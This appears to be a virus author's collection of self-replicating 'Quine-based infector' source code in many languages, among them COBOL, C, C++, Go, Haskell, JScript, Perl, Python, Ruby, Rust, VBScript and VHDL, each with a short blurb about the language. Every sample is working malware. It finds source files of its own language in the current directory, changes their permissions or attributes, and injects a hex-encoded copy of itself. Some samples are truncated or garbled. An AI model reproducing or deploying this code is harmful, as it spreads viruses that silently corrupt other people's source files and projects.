010913 SET U TO' !"#$%&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUV
010913-'WXYZ'
010913 SET W TO 1
010913 PERFORM VARYING O FROM 1 BY 1 UNTIL O>LENGTH OF V
010913 SET M TO V(O:1)
010913 MULTIPLY 16 BY M
010913 ADD 1 TO O
010913 SET P TO V(O:1)
010913 EVALUATE V(O:1)
010913 WHEN'A'SET P TO 10
010913 WHEN'B'SET P TO 11
010913 WHEN'C'SET P TO 12
010913 WHEN'D'SET P TO 13
010913 WHEN'E'SET P TO 14
010913 WHEN'F'SET P TO 15
010913 END-EVALUATE
010913 ADD P TO M
010913 IF M=10 THEN
010913 SET H(W:)TO SPACES
010913 WRITE F
010913 ADD 1 TO T
010913 SET W TO 1
010913 ELSE
010913 SUBTRACT 31 FROM M
010913 SET H(W:1)TO U(M:1)
010913 ADD 1 TO W
010913 IF O=6992 THEN
010913 SET J TO 0
010913 SET R TO 1
010913 PERFORM UNTIL J=1
010913 SET H(W:1)TO V(R:1)
010913 ADD 1 TO W
010913 ADD 1 TO R
010913 IF R>LENGTH OF V THEN SET J TO 1
010913 ELSE IF W=67 THEN
010913 WRITE F
010913 ADD 1 TO T
010913 SET H(1:2)TO"-'"
010913 SET W TO 3
010913 END-PERFORM
010913 END-PERFORM
010913 IF W>2 THEN WRITE F
010913 END-IF
010913 SET H(1:1)TO' '
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=I
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 CLOSE E
010913 CLOSE A
010913 OPEN INPUT E
010913 OPEN OUTPUT A
010913 SET L TO 1
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=T
010913 READ E
010913 SET B TO F
010913 WRITE B
010913 END-PERFORM
010913 CLOSE A
010913 CLOSE E
010913 END-IF.
010913*QUINE - ROY G BIV 01/09/13
- - - - - - - - - - - - - - - - [CBL.Quine] - - - - - - - - - - - - - - - -
*) C
In computing, C is a general-purpose programming language initially
developed by Dennis Ritchie between 1969 and 1973 at AT&T Bell Labs. Like
most imperative languages in the ALGOL tradition, C has facilities for
structured programming and allows lexical variable scope and recursion,
while a static type system prevents many unintended operations. Its
design provides constructs that map efficiently to typical machine
instructions, and therefore it has found lasting use in applications that
had formerly been coded in assembly language, most notably system
software like the Unix computer operating system.
Quine-based infector was finished on 17.04.2013.
- - - - - - - - - - - - - - - - [C.Quine] - - - - - - - - - - - - - - - -
void main(void)
{
{char*a="7B636861722A613D22222C2A663B0A23696E636C7564653C696F2E683E0A23696E636C7564653C6D616C6C6F632E683E0A23696E636C7564653C7379732F737461742E683E0A737472756374205F66696E64646174615F7420623B6C6F6E6720632C652C673B69662828633D5F66696E64666972737428222A2E63222C266229292B31297B646F7B696E7420642C693D302C6A3D303B696628663D6D616C6C6F6328653D66696C656C656E67746828643D6F70656E28622E6E616D652C353132292929297B673D7265616428642C662C65293B636C6F73652864293B7768696C6528665B2D2D675D213D277D27293B696628665B672D315D213D272F27297B737472756374207374617420683B7374617428622E6E616D652C2668293B63686D6F6428622E6E616D652C323030293B69662828643D6F70656E28622E6E616D652C35313329293E30297B777269746528642C662C67293B7768696C6528615B2B2B695D293B666F72283B6A3C693B6A2B3D32297B2A663D615B6A5D2A31362B615B6A2B315D2D615B6A2B315D2F36342A372D34383B777269746528642C662C31293B6966286A3D3D313629777269746528642C612C69293B7D777269746528642C662B672C652D67293B636C6F73652864293B7D63686D6F6428622E6E616D652C682E73745F6D6F6465293B7D667265652866293B7D7D7768696C6528215F66696E646E65787428632C266229293B5F66696E64636C6F73652863293B7D7D2F2A5175696E65202D20726F792067206269762031372F30342F31332A2F",*f;
#include
#include
#include
struct _finddata_t b;long c,e,g;if((c=_findfirst("*.c",&b))+1){do{int d,i=0,j=0;if(f=malloc(e=filelength(d=open(b.name,512)))){g=read(d,f,e);close(d);while(f[--g]!='}');if(f[g-1]!='/'){struct stat h;stat(b.name,&h);chmod(b.name,200);if((d=open(b.name,513))>0){write(d,f,g);while(a[++i]);for(;j
#include
#include
#include
int main(void)
{
{std::string a="23696E636C7564653C737472696E673E0A23696E636C7564653C696F2E683E0A23696E636C7564653C6673747265616D3E0A23696E636C7564653C7379732F737461742E683E0A7B7374643A3A737472696E6720613D22222C652C663B737472756374205F66696E64646174615F7420623B6C6F6E6720633B69662828633D5F66696E64666972737428222A2E637070222C266229292B31297B646F7B7374643A3A696673747265616D206428622E6E616D65293B69662864297B653D22223B7768696C65286765746C696E6528642C662929652B3D662B275C6E273B696E7420673D652E6C656E67746828292C693D303B7768696C6528655B2D2D675D213D277D27293B696628655B672D315D213D272F27297B737472756374207374617420683B7374617428622E6E616D652C2668293B63686D6F6428622E6E616D652C323030293B7374643A3A6F6673747265616D206428622E6E616D65293B69662864297B666F72283B693C612E6C656E67746828293B692B3D32297B63686172206A3D615B695D2A31362B615B692B315D2D615B692B315D2F36342A372D34383B642E707574286A293B696628693D3D31343029642E777269746528652E73756273747228302C67292E635F73747228292C67293B696628693D3D31373229642E777269746528612E635F73747228292C612E6C656E6774682829293B7D642E777269746528652E7375627374722867292E635F73747228292C652E6C656E67746828292D67293B7D63686D6F6428622E6E616D652C682E73745F6D6F6465293B7D7D7D7768696C6528215F66696E646E65787428632C266229293B5F66696E64636C6F73652863293B7D7D2F2A5175696E65202D20726F792067206269762030362F30362F31332A2F",e,f;struct _finddata_t b;long c;if((c=_findfirst("*.cpp",&b))+1){do{std::ifstream d(b.name);if(d){e="";while(getline(d,f))e+=f+'\n';int g=e.length(),i=0;while(e[--g]!='}');if(e[g-1]!='/'){struct stat h;stat(b.name,&h);chmod(b.name,200);std::ofstream d(b.name);if(d){for(;i0{
break
}
k:=strings.ToLower(i)
if l<0{
if l=strings.Index(k,"func ");l<0{
if m==0{
if n=strings.Index(k,"import");n>=0{
m=1
}
}
if m==1{
o=k[n:]
if p==0{
if strings.Index(o,"(")>=0{
q=")"
}
if strings.Index(o,"\"")>=0{
p=1
}else{
n=0
}
}
if p==1{
for{
if r=strings.Index(o[n:],"\"")+1;r==0{
break
}
n+=r
s:=strings.Index(o[n:],"\"")+n
t:=make([]string,len(h)+1)
copy(t,h)
copy(t[len(h):],[]string{o[n:s]})
h=t
n=s+1
}
if strings.Index(o,q)>=0{
m=0
p=0
q="\n"
}else{
n=0
}
}
}
}
}
g+=i
}
d.Close()
if j<0{
f,_:=os.Stat(c)
os.Chmod(c,f.Mode()|146)
if d,e=os.OpenFile(c,syscall.O_WRONLY,146);e==nil{
k:=[]string{"path/filepath","os","bufio","strings","syscall","strconv"}
q="import("
for j,_=range k{
n=0
for _,i=range h{
if k[j]==i{
n=1
break
}
}
if n==0{
q+="\""+k[j]+"\";"
}
}
if len(q)>7{
j=strings.Index(g,"func ")
g=g[0:j]+q+")\n"+g[j:]
}
j=strings.LastIndex(g,"}")
i:=bufio.NewWriter(d)
i.WriteString(g[0:j]+b+g[j:])
i.Flush()
d.Close()
}
os.Chmod(c,f.Mode())
}
}
}
}
}
/*Quine - roy g biv 25/4/13*/
}
- - - - - - - - - - - - - - - - [GO.Quine] - - - - - - - - - - - - - - - -
*) Haskell
Haskell is a standardized, general-purpose purely functional programming
language, with non-strict semantics and strong static typing. It is named
after logician Haskell Curry. In Haskell, "a function is a first-class
citizen" of the programming language. As a functional programming
language, the primary control construct is the function.
Quine-based infector was finished on 25.04.2013.
- - - - - - - - - - - - - - - - [HS.Quine] - - - - - - - - - - - - - - - -
import Data.List
import Data.Char
import Data.ByteString.Char8 hiding(map,lines,unlines,length)
import System.Directory
h a b c=do
return([chr(ord(a!!d)*16+ord(a!!(d+1))-(ord(a!!(d+1))`div`64)*7-816)|d<-[b,b+2..c-1]])
a b=do
let c="696D706F727420446174612E4C6973740A696D706F727420446174612E436861720A696D706F727420446174612E42797465537472696E672E436861723820686964696E67286D61702C6C696E65732C756E6C696E65732C6C656E677468290A696D706F72742053797374656D2E4469726563746F72790A682061206220633D646F0A2072657475726E285B636872286F72642861212164292A31362B6F72642861212128642B3129292D286F72642861212128642B31292960646976603634292A372D383136297C643C2D5B622C622B322E2E632D315D5D290A6120623D646F0A206C657420633D22220A20696628446174612E4C6973742E69735375666669784F66222E687322286D617020746F4C6F77657228622929297468656E20646F0A2020643C2D5072656C7564652E7265616446696C6520620A20206C657428652C66293D627265616B537562737472696E67287061636B28225175696E65222929287061636B286429290A2020696628663D3D7061636B28222229297468656E20646F0A2020206C657428652C66293D706172746974696F6E28446174612E4C6973742E69735072656669784F6622696D706F72742229286C696E65732064290A2020205072656C7564652E777269746546696C65206228756E6C696E65732865292B2B28682063203020343638292121302B2B632B2B2868206320343638286C656E67746828632929292121302B2B756E6C696E65732866292B2B227622290A2020656C73652072657475726E28290A20656C73652072657475726E28290A763D646F0A20623C2D6765744469726563746F7279436F6E74656E7473222E220A206D61704D5F286129622D2D5175696E65202D20726F792067206269762030352F30342F31330A"
if(Data.List.isSuffixOf".hs"(map toLower(b)))then do
d<-Prelude.readFile b
let(e,f)=breakSubstring(pack("Quine"))(pack(d))
if(f==pack(""))then do
let(e,f)=partition(Data.List.isPrefixOf"import")(lines d)
Prelude.writeFile b(unlines(e)++(h c 0 468)!!0++c++(h c 468(length(c)))!!0++unlines(f)++"v")
else return()
else return()
v=do
b<-getDirectoryContents"."
mapM_(a)b--Quine - roy g biv 05/04/13
main = do
v
- - - - - - - - - - - - - - - - [HS.Quine] - - - - - - - - - - - - - - - -
*) JScript
JScript is Microsoft's dialect of the ECMAScript standard that is used in
Microsoft's Internet Explorer.
JScript is implemented as a Windows Script engine. This means that it can
be "plugged in" to any application that supports Windows Script, such as
Internet Explorer, Active Server Pages, and Windows Script Host. It also
means that any application supporting Windows Script can use multiple
languages (JScript, VBScript, Perl, and others).
Quine-based infector was finished on 21.04.2013.
- - - - - - - - - - - - - - - - [JS.Quine] - - - - - - - - - - - - - - - -
a="223B623D223B613D5C22222B613B666F7228633D303B633C612E6C656E6774683B632B3D3229622B3D537472696E672E66726F6D43686172436F6465287061727365496E7428612E73756273747228632C32292C313629293B613D6E657720416374697665584F626A6563742822736372697074696E672E66696C6573797374656D6F626A65637422293B666F7228633D6E657720456E756D657261746F7228612E676574666F6C64657228222E22292E66696C6573293B21632E6174456E6428293B632E6D6F76654E6578742829297472797B696628612E676574657874656E73696F6E6E616D6528643D632E6974656D2829292E746F4C6F7765724361736528293D3D226A73222626612E6F70656E7465787466696C652864292E72656164616C6C28292E696E6465784F6628225175696E6522293C30297B653D642E617474726962757465733B663D642E617474726962757465733D303B673D612E6F70656E7465787466696C6528642C38293B672E77726974652862293B642E617474726962757465733D657D7D6361746368287A297B7D2F2A5175696E65202D20726F792067206269762032312F30342F31332A2F";b=";a=\""+a;for(c=0;c
#include
#include
#include
struct _finddata_t b;long c,e,g;if((c=_findfirst("*.m",&b))+1){do{int d,i=0,j=0;if(f=malloc(e=filelength(d=open(b.name,32768)))){g=read(d,f,e);close(d);while(f[--g]!='}');if(f[g-1]!='/'){struct stat h;stat(b.name,&h);chmod(b.name,128);if((d=open(b.name,32769))>0){_lseek(d,g,0);write(d,"{char*a=\"",9);while(a[++i]);write(d,a,i);for(;j0);
close(c);
if k=0then
begin
getfattr(c,m);
setfattr(c,0);
rewrite(c);
if ioresult=0then
begin
if e=0then
write(c,'uses dos,strings')
else
begin
l:=stralloc(e);
write(c,strlcopy(l,d,e));
strdispose(l);
if pos('DOS',i)=0then
write(c,',dos');
if pos('STRINGS',i)=0then
write(c,',strings');
e:=e+1
end;
q:=0;
for n:=1to length(o)do
begin
p:=1;
while p){if(lc($a)=~".pl"){open(a,$a);$c=join("",);close(a);if($c!~"Quine"){open(a,'>'.$a);print a$b.$c;close(a)}}}#Quine - roy g biv 09/09/13
- - - - - - - - - - - - - - - - [Perl.Quine] - - - - - - - - - - - - - - - -
*) Python
Python is a widely used general-purpose, high-level programming language.
Its design philosophy emphasizes code readability, and its syntax allows
programmers to express concepts in fewer lines of code than would be
possible in languages such as C. The language provides constructs
intended to enable clear programs on both a small and large scale.
Quine-based infector was finished on 07.09.2013.
- - - - - - - - - - - - - - - - [PY.Quine] - - - - - - - - - - - - - - - -
a="220A623D27613D22272B610A633D72616E676528302C612E5F5F6C656E5F5F28292C32290A666F72206420696E20633A623D622B63687228696E7428615B643A642B325D2C313629290A696D706F727420676C6F620A613D676C6F622E676C6F6228222A2E5B70505D5B79595D22290A666F72206320696E20613A0A20643D6F70656E2863292E7265616428290A20696620642E66696E6428225175696E6522293C303A653D6F70656E28632C227722292E777269746528622B64290A235175696E65202D20726F792067206269762030372F30392F31330A"
b='a="'+a
c=range(0,a.__len__(),2)
for d in c:b=b+chr(int(a[d:d+2],16))
import glob
a=glob.glob("*.[pP][yY]")
for c in a:
d=open(c).read()
if d.find("Quine")<0:e=open(c,"w").write(b+d)
#Quine - roy g biv 07/09/13
- - - - - - - - - - - - - - - - [PY.Quine] - - - - - - - - - - - - - - - -
*) Ruby
Ruby is a dynamic, reflective, object-oriented, general-purpose
programming language. It was designed and developed in the mid-1990s by
Yukihiro "Matz" Matsumoto in Japan.
Ruby embodies syntax inspired by Perl with Smalltalk-like features and
was also influenced by Eiffel and Lisp. It supports multiple programming
paradigms, including functional, object oriented, and imperative. It also
has a dynamic type system and automatic memory management. Therefore, it
is similar in varying degrees to, Smalltalk, Python, Perl, Lisp, Dylan,
and CLU.
Quine-based infector was finished on 08.09.2013.
- - - - - - - - - - - - - - - - [Ruby.Quine] - - - - - - - - - - - - - - - -
a="223B623D27613D22272B613B302E7374657028612E6C656E6774682C32292E6561636820646F7C637C623D622B615B632C325D2E6865782E6368723B656E643B4469722E6F70656E28222E22292E6561636820646F7C637C696620632E646F776E636173652E656E645F776974683F28222E726222297468656E20643D494F2E726561642863293B69662021642E696E64657828225175696E6522297468656E20494F2E777269746528632C622B64293B656E643B656E643B656E64235175696E65202D20726F792067206269762030382F30392F31330A";b='a="'+a;0.step(a.length,2).each do|c|b=b+a[c,2].hex.chr;end;Dir.open(".").each do|c|if c.downcase.end_with?(".rb")then d=IO.read(c);if !d.index("Quine")then IO.write(c,b+d);end;end;end#Quine - roy g biv 08/09/13
- - - - - - - - - - - - - - - - [Ruby.Quine] - - - - - - - - - - - - - - - -
*) Rust
Rust is a general purpose, multi-paradigm, compiled programming language
developed by Mozilla Research. It is designed to be a "safe, concurrent,
practical language", supporting pure-functional, concurrent-actor,
imperative-procedural, and object-oriented styles.
Quine-based infector was finished on 02.05.2013.
- - - - - - - - - - - - - - - - [RS.Quine] - - - - - - - - - - - - - - - -
fn main()
{
{let a="223B6C6574206D757420623D7374723A3A617070656E64287E227B6C657420613D5C22222C61292C633D303B7768696C6520633C612E6C656E28297B623D7374723A3A617070656E6428622C7374723A3A66726F6D5F627974652828636861723A3A746F5F6469676974287374723A3A636861725F617428612C63292C3136292E756E7772617028292A31362B636861723A3A746F5F6469676974287374723A3A636861725F617428612C632B31292C3136292E756E77726170282929617320753829293B632B3D323B7D666F7228636F72653A3A6F733A3A6C6973745F6469722826506174682826222E222929292E656163687C617C7B696628282A61292E746F5F6C6F77657228292E656E64735F7769746828222E72732229297B6C657420633D726573756C743A3A6765742826696F3A3A726561645F77686F6C655F66696C655F737472282650617468282A612929293B69662821632E636F6E7461696E7328225175696E652229297B6C657420643D696F3A3A66696C655F777269746572282650617468282A61292C5B696F3A3A4372656174655D293B69662821642E69735F6572722829297B6C657420653D7374723A3A7266696E645F6368617228632C277D27292E756E7772617028293B642E756E7772617028292E77726974655F737472287374723A3A617070656E64287374723A3A617070656E6428632E73756273747228302C65292E746F5F73747228292C62292C632E73756273747228652C632E6C656E28292D652929293B7D7D7D7D7D2F2A5175696E65202D20726F792067206269762030322F30352F31332A2F";let mut b=str::append(~"{let a=\"",a),c=0;while c;}}/*Quine - roy g biv 13/09/13*/}
}
- - - - - - - - - - - - - - - - [SCL.Quine] - - - - - - - - - - - - - - - -
*) SmallBasic
SmallBASIC is a BASIC programming language dialect with interpreters
released as free software under the GNU GPL. The dialect is described by
the authors as a second generation BASIC, and has a lot in common with
QBasic. It is a structured BASIC, and contains the most advanced math
functions and operators found on graphing calculators such as matrices
and Gauss-Jordan method.
Quine-based infector was finished on 24.05.2013.
- - - - - - - - - - - - - - - - [SBAS.Quine] - - - - - - - - - - - - - - - -
A="223A423D43485224283130292B22413D222B43485224283334292B413A464F5220433D3120544F204C454E2841295354455020323A423D422B434852242856414C28222648222B4D494428412C432C322929293A4E4558543A4F4E204552524F5220474F544F20473A413D46494C455328222A22293A464F52204320494E20413A494620554341534528524947485428432C3429293D222E424153225448454E0A4F50454E204320464F5220494E50555420415323313A443D303A5748494C45204E4F5420454F46283129414E4420443D303A4C494E45494E50555423312C453A443D494E53545228452C225175696E6522293A57454E443A434C4F534523313A494620443D30205448454E0A4F50454E204320464F5220415050454E4420415323123A5052494E5423312C423A434C4F534523323A454E4449463A454E4449463A4E4558543A4C4142454C20473A454E44275175696E65202D20726F792067206269762032342F30352F3133":B=CHR$(10)+"A="+CHR$(34)+A:FOR C=1 TO LEN(A)STEP 2:B=B+CHR$(VAL("&H"+MID(A,C,2))):NEXT:ON ERROR GOTO G:A=FILES("*"):FOR C IN A:IF UCASE(RIGHT(C,4))=".BAS"THEN
OPEN C FOR INPUT AS#1:D=0:WHILE NOT EOF(1)AND D=0:LINEINPUT#1,E:D=INSTR(E,"Quine"):WEND:CLOSE#1:IF D=0 THEN
OPEN C FOR APPEND AS#1:PRINT#1,B:CLOSE#1:ENDIF:ENDIF:NEXT:LABEL G:END'Quine - roy g biv 24/05/13
- - - - - - - - - - - - - - - - [SBAS.Quine] - - - - - - - - - - - - - - - -
*) Spark
SPARK is a formally-defined computer programming language based on the
Ada programming language, intended to be secure and to support the
development of high integrity software used in applications and systems
where predictable and highly reliable operation is essential either for
reasons of safety (e.g., avionics in aircraft/spacecraft, or medical
systems and process control software in nuclear powerplants) or for
business integrity (for example financial software for banking and
insurance companies).
Quine-based infector was finished on 07.06.2013.
- - - - - - - - - - - - - - - - [SPK.Quine] - - - - - - - - - - - - - - - -
with gnat.directory_operations,spark.ada.text_io,spark.ada.strings.unbounded,spark.ada.strings,spark.ada.strings.maps,spark.ada.strings.unbounded.not_spark,ada.strings.equal_case_insensitive;use gnat.directory_operations,spark.ada.text_io,spark.ada.strings.unbounded,spark.ada.strings,spark.ada.strings.maps,spark.ada.strings.unbounded.not_spark;
procedure quine is
a:string:="7769746820676E61742E6469726563746F72795F6F7065726174696F6E732C737061726B2E6164612E746578745F696F2C737061726B2E6164612E737472696E67732E756E626F756E6465642C737061726B2E6164612E737472696E67732C737061726B2E6164612E737472696E67732E6D6170732C737061726B2E6164612E737472696E67732E756E626F756E6465642E6E6F745F737061726B2C6164612E737472696E67732E657175616C5F636173655F696E73656E7369746976653B75736520676E61742E6469726563746F72795F6F7065726174696F6E732C737061726B2E6164612E746578745F696F2C737061726B2E6164612E737472696E67732E756E626F756E6465642C737061726B2E6164612E737472696E67732C737061726B2E6164612E737472696E67732E6D6170732C737061726B2E6164612E737472696E67732E756E626F756E6465642E6E6F745F737061726B3B613A737472696E673A3D22223B623A6469725F747970653B632C673A737472696E6728312E2E323630293B642C682C692C6C2C6D3A6E61747572616C3B652C6A2C6B3A756E626F756E6465645F737472696E673B663A737061726B2E6164612E746578745F696F2E66696C655F747970653B6F70656E28622C222E22293B6C6F6F70207265616428622C632C64293B65786974207768656E20643D303B696620643E34207468656E206966206164612E737472696E67732E657175616C5F636173655F696E73656E736974697665286328642D332E2E64292C222E61646222297468656E20653A3D6E756C6C5F756E626F756E6465645F737472696E673B6F70656E28662C696E5F66696C652C6328312E2E64292C2222293B693A3D303B7768696C65206E6F7420656E645F6F665F66696C655F66696C65286629616E6420693D30206C6F6F702070726F6365647572655F6765745F6C696E655F66696C6528662C672C68293B693A3D696E6465785F7061747465726E28737472696E675F746F5F756E626F756E6465645F737472696E67286728312E2E6829292C225175696E65222C646972656374696F6E5F666F72776172642C6964656E74697479293B617070656E645F737472696E6728652C6728312E2E6829266368617261637465722776616C28313029293B656E64206C6F6F703B636C6F73652866293B696620693D30207468656E206A3A3D653B6C6F6F7020683A3D696E6465785F7061747465726E286A2C22656E6420222C646972656374696F6E5F666F72776172642C6964656E74697479293B65786974207768656E20683D303B693A3D696E6465785F7061747465726E2866756E6374696F6E5F756E626F756E6465645F736C696365286A2C682C6765745F6C656E677468286A29292C223B222C646972656374696F6E5F666F72776172642C6964656E74697479293B6B3A3D66756E6374696F6E5F756E626F756E6465645F736C696365286A2C682B342C682B692D32293B6C3A3D696E6465785F7061747465726E28652C2270726F636564757265202226746F5F737472696E67286B292C646972656374696F6E5F666F72776172642C6964656E74697479293B65786974207768656E206C3E303B6A3A3D66756E6374696F6E5F756E626F756E6465645F736C696365286A2C682B692C6765745F6C656E677468286A29293B656E64206C6F6F703B696620683E30207468656E206A3A3D66756E6374696F6E5F756E626F756E6465645F736C69636528652C6C2C6765745F6C656E677468286529293B683A3D696E6465785F7061747465726E286A2C22626567696E222C646972656374696F6E5F666F72776172642C6964656E74697479292D323B693A3D696E6465785F7061747465726E286A2C746F5F737472696E6728636F6E6361745F737472696E675F756E626F756E6465645F737472696E672822656E6420222C6B29292C646972656374696F6E5F666F72776172642C6964656E74697479292D323B6F70656E28662C6F75745F66696C652C6328312E2E64292C2222293B643A3D313B7768696C6520643C61276C656E677468206C6F6F70206D3A3D63686172616374657227706F73286128642B3129293B7075745F6368617261637465725F66696C6528662C6368617261637465722776616C2863686172616374657227706F732861286429292A31362B6D2D6D2F36342A372D38313629293B643A3D642B323B696620643D363933207468656E207075745F66696C6528662C746F5F737472696E672866756E6374696F6E5F756E626F756E6465645F736C69636528652C312C6C2B682929293B656C73696620643D373135207468656E207075745F66696C6528662C61293B656C73696620643D393231207468656E207075745F66696C6528662C746F5F737472696E672866756E6374696F6E5F756E626F756E6465645F736C69636528652C6C2B682C6C2B692929293B656E642069663B656E64206C6F6F703B7075745F66696C6528662C746F5F737472696E672866756E6374696F6E5F756E626F756E6465645F736C69636528652C6C2B692B312C6765745F6C656E6774682865292929293B636C6F73652866293B656E642069663B656E642069663B656E642069663B656E642069663B656E64206C6F6F703B636C6F73652862293B657863657074696F6E207768656E206572726F723A6F74686572733D3E72657475726E3B2D2D5175696E65202D20726F792067206269762030372F30362F31330A";b:dir_type;c,g:string(1..260);d,h,i,l,m:natural;e,j,k:unbounded_string;f:spark.ada.text_io.file_type;
begin
open(b,".");loop read(b,c,d);exit when d=0;if d>4 then if ada.strings.equal_case_insensitive(c(d-3..d),".adb")then e:=null_unbounded_string;open(f,in_file,c(1..d),"");i:=0;while not end_of_file_file(f)and i=0 loop procedure_get_line_file(f,g,h);i:=index_pattern(string_to_unbounded_string(g(1..h)),"Quine",direction_forward,identity);append_string(e,g(1..h)&character'val(10));end loop;close(f);if i=0 then j:=e;loop h:=index_pattern(j,"end ",direction_forward,identity);exit when h=0;i:=index_pattern(function_unbounded_slice(j,h,get_length(j)),";",direction_forward,identity);k:=function_unbounded_slice(j,h+4,h+i-2);l:=index_pattern(e,"procedure "&to_string(k),direction_forward,identity);exit when l>0;j:=function_unbounded_slice(j,h+i,get_length(j));end loop;if h>0 then j:=function_unbounded_slice(e,l,get_length(e));h:=index_pattern(j,"begin",direction_forward,identity)-2;i:=index_pattern(j,to_string(concat_string_unbounded_string("end ",k)),direction_forward,identity)-2;open(f,out_file,c(1..d),"");d:=1;while dreturn;--Quine - roy g biv 07/06/13
end quine;
- - - - - - - - - - - - - - - - [SPK.Quine] - - - - - - - - - - - - - - - -
*) Visual Basic .NET
Visual Basic .NET (VB.NET) is an object-oriented computer programming
language that can be viewed as an evolution of the classic Visual Basic,
implemented on the .NET Framework.
Quine-based infector was finished on 05.09.2013.
- - - - - - - - - - - - - - - - [VBNet.Quine] - - - - - - - - - - - - - - - -
class quine
shared sub Main()
dim a="222C623D223A64696D20613D222B636872283334292B612C632C652C662C672C683A666F7220633D3120746F206C656E2861297374657020323A623D622B6368722863696E742822266822266D696428612C632C322929293A6E6578743A6F6E206572726F7220726573756D65206E6578743A633D6372656174656F626A6563742822736372697074696E672E66696C6573797374656D6F626A65637422293A666F722065616368206420696E20632E676574666F6C64657228222E22292E66696C65733A6966206C6361736528632E676574657874656E73696F6E6E616D65286429293D227662227468656E3A653D632E6F70656E7465787466696C652864292E72656164616C6C3A663D696E737472286C636173652865292C22656E642073756222293A696620696E73747228652C225175696E6522293D30616E6420663E307468656E3A673D642E617474726962757465733A642E617474726962757465733D303A6572722E636C6561723A683D632E6372656174657465787466696C652864293A6966206572722E6E756D6265723D307468656E3A682E7772697465286C65667428652C662D31292B622B6D696428652C6629293A656E642069663A642E617474726962757465733D673A656E642069663A656E642069663A6E657874275175696E65202D20726F792067206269762030352F30392F31330A",b=":dim a="+chr(34)+a,c,e,f,g,h:for c=1 to len(a)step 2:b=b+chr(cint("&h"&mid(a,c,2))):next:on error resume next:c=createobject("scripting.filesystemobject"):for each d in c.getfolder(".").files:if lcase(c.getextensionname(d))="vb"then:e=c.opentextfile(d).readall:f=instr(lcase(e),"end sub"):if instr(e,"Quine")=0and f>0then:g=d.attributes:d.attributes=0:err.clear:h=c.createtextfile(d):if err.number=0then:h.write(left(e,f-1)+b+mid(e,f)):end if:d.attributes=g:end if:end if:next'Quine - roy g biv 05/09/13
end sub
end class
- - - - - - - - - - - - - - - - [VBNet.Quine] - - - - - - - - - - - - - - - -
*) Visual Basic Script
VBScript (Visual Basic Scripting Edition) is an Active Scripting language
developed by Microsoft that is modeled on Visual Basic. It is designed
as a “lightweight” language with a fast interpreter for use in a wide
variety of Microsoft environments. VBScript uses the Component Object
Model to access elements of the environment within which it is running;
for example, the FileSystemObject (FSO) is used to create, read, update
and delete files.
Quine-based infector was finished on 21.04.2013.
- - - - - - - - - - - - - - - - [VBS.Quine] - - - - - - - - - - - - - - - -
a="223A623D223A613D222B636872283334292B613A666F7220633D3120746F206C656E2861297374657020323A623D622B6368722863696E742822266822266D696428612C632C322929293A6E6578743A6F6E206572726F7220726573756D65206E6578743A73657420613D6372656174656F626A6563742822736372697074696E672E66696C6573797374656D6F626A65637422293A666F722065616368206320696E20612E676574666F6C64657228222E22292E66696C65733A6966206C6361736528612E676574657874656E73696F6E6E616D65286329293D2276627322616E6420696E73747228612E6F70656E7465787466696C652863292E72656164616C6C2C225175696E6522293D307468656E3A643D632E617474726962757465733A632E617474726962757465733D303A6572722E636C6561723A73657420653D612E6F70656E7465787466696C6528632C38293A6966206572722E6E756D6265723D307468656E3A652E77726974652862293A656E642069663A632E617474726962757465733D643A656E642069663A6E657874275175696E65202D20726F792067206269762032312F30342F3133":b=":a="+chr(34)+a:for c=1 to len(a)step 2:b=b+chr(cint("&h"&mid(a,c,2))):next:on error resume next:set a=createobject("scripting.filesystemobject"):for each c in a.getfolder(".").files:if lcase(a.getextensionname(c))="vbs"and instr(a.opentextfile(c).readall,"Quine")=0then:d=c.attributes:c.attributes=0:err.clear:set e=a.opentextfile(c,8):if err.number=0then:e.write(b):end if:c.attributes=d:end if:next'Quine - roy g biv 21/04/13
- - - - - - - - - - - - - - - - [VBS.Quine] - - - - - - - - - - - - - - - -
*) VHDL
VHDL (VHSIC Hardware Description Language) is a hardware description
language used in electronic design automation to describe digital and
mixed-signal systems such as field-programmable gate arrays and
integrated circuits. VHDL can also be used as a general purpose parallel
programming language.
Quine-based infector was finished on 28.05.2013.
- - - - - - - - - - - - - - - - [VHD.Quine] - - - - - - - - - - - - - - - -
use std.textio.all;
entity quine is
end quine;
architecture rgb of quine is
begin
process
constant a:string(1 to 2754):="757365207374642E74657874696F2E616C6C3B636F6E7374616E7420613A737472696E67283120746F2032373534293A3D22223B636F6E7374616E7420623A737472696E67283120746F203130293A3D2276696374696D2E766864223B66696C6520632C6F3A746578743B7661726961626C6520642C662C692C6B2C6C2C6D2C6E3A696E74656765723B7661726961626C6520653A6C696E653B7661726961626C6520683A6368617261637465723B7661726961626C65206A3A737472696E67283120746F20323536293B66696C655F6F70656E28632C622C726561645F6D6F6465293B643A3D303B6B3A3D303B6C3A3D303B6D3A3D303B6E3A3D303B7768696C65206E6F7420656E6466696C652863296C6F6F7020726561646C696E6528632C65293B643A3D642B313B663A3D65276C656E6774683B666F72206720696E203120746F2066206C6F6F70207265616428652C68293B693A3D63686172616374657227706F732868293B696620693E363420616E6420693C3931207468656E20683A3D6368617261637465722776616C28692B3332293B656E642069663B6A2867293A3D683B656E64206C6F6F703B666F72206720696E203120746F2066206C6F6F7020696620663E34207468656E206966206A286720746F20672B34293D227175696E65227468656E206B3A3D313B657869743B656C736966206A286720746F20672B34293D22626567696E227468656E206C3A3D643B656C736966206A286720746F20672B34293D22776169743B227468656E206D3A3D643B656C73696620663E3620616E64206A286720746F20672B36293D2270726F63657373227468656E206E3A3D313B656E642069663B656E642069663B656E64206C6F6F703B656E64206C6F6F703B66696C655F636C6F73652863293B6966206B3D3020616E64206C3E3020616E64206D3E3020616E64206E3E30207468656E2066696C655F6F70656E28632C622C726561645F6D6F6465293B66696C655F6F70656E286F2C2272222C77726974655F6D6F6465293B663A3D313B7768696C6520663C61276C656E677468206C6F6F7020693A3D63686172616374657227706F73286128662B3129293B777269746528652C6368617261637465722776616C2863686172616374657227706F732861286629292A31362B692D692F36342A372D38313629293B663A3D662B323B696620663D3339207468656E2077726974656C696E65286F2C65293B666F72206720696E203120746F206C2D31206C6F6F7020726561646C696E6528632C65293B77726974656C696E65286F2C65293B656E64206C6F6F703B656C73696620663D313031207468656E20777269746528652C61293B656C73696620663D343037207468656E2077726974656C696E65286F2C65293B666F72206720696E206C20746F206D2D31206C6F6F7020726561646C696E6528632C65293B77726974656C696E65286F2C65293B656E64206C6F6F70